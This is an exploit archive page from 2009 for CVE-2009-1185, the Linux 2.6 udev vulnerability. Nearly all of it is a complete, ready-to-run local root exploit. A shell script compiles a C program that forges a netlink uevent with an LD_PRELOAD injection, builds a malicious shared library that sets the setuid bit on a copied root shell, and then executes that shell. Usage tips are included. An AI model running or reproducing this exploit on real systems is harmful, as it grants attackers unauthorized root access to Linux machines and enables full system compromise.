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Linux 2.6 Kernel UDEV Exploit

Linux 2.6 Kernel UDEV Exploit
Posted Apr 20, 2009
Authored by Kingcope

Local root exploit for the Linux 2.6 kernel udev vulnerability.

tags | exploit, kernel, local, root
systems | linux
advisories | CVE-2009-1185
SHA-256 | 6b8094daa99e89f9da003c640337c6af989fe36c0a203df09ffa80b2b8f27e6d

Linux 2.6 Kernel UDEV Exploit

Change Mirror Download
#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang

cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0

int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;

main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];

sprintf(event, "add");
sprintf(subsystem, "block");
sprintf(sysfspath, "/dev/foo");
sprintf(major, "8");
sprintf(minor, "1");

memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;

msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;

socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));

char message[LONG_STRING];
char *mp;

mp = message;
mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
mp += sprintf(mp, "ACTION=%s", event) +1;
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
mp += sprintf(mp, "MAJOR=%s", major) +1;
mp += sprintf(mp, "MINOR=%s", minor) +1;
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;

iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);

char *buf;
int buflen;
buf = (char *) &msg;
buflen = (int)(mp-message);

sendmsg(socket_fd, &msg, 0);

close(socket_fd);

sleep(10);
execl("/tmp/suid", "suid", (void*)0);
}

_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
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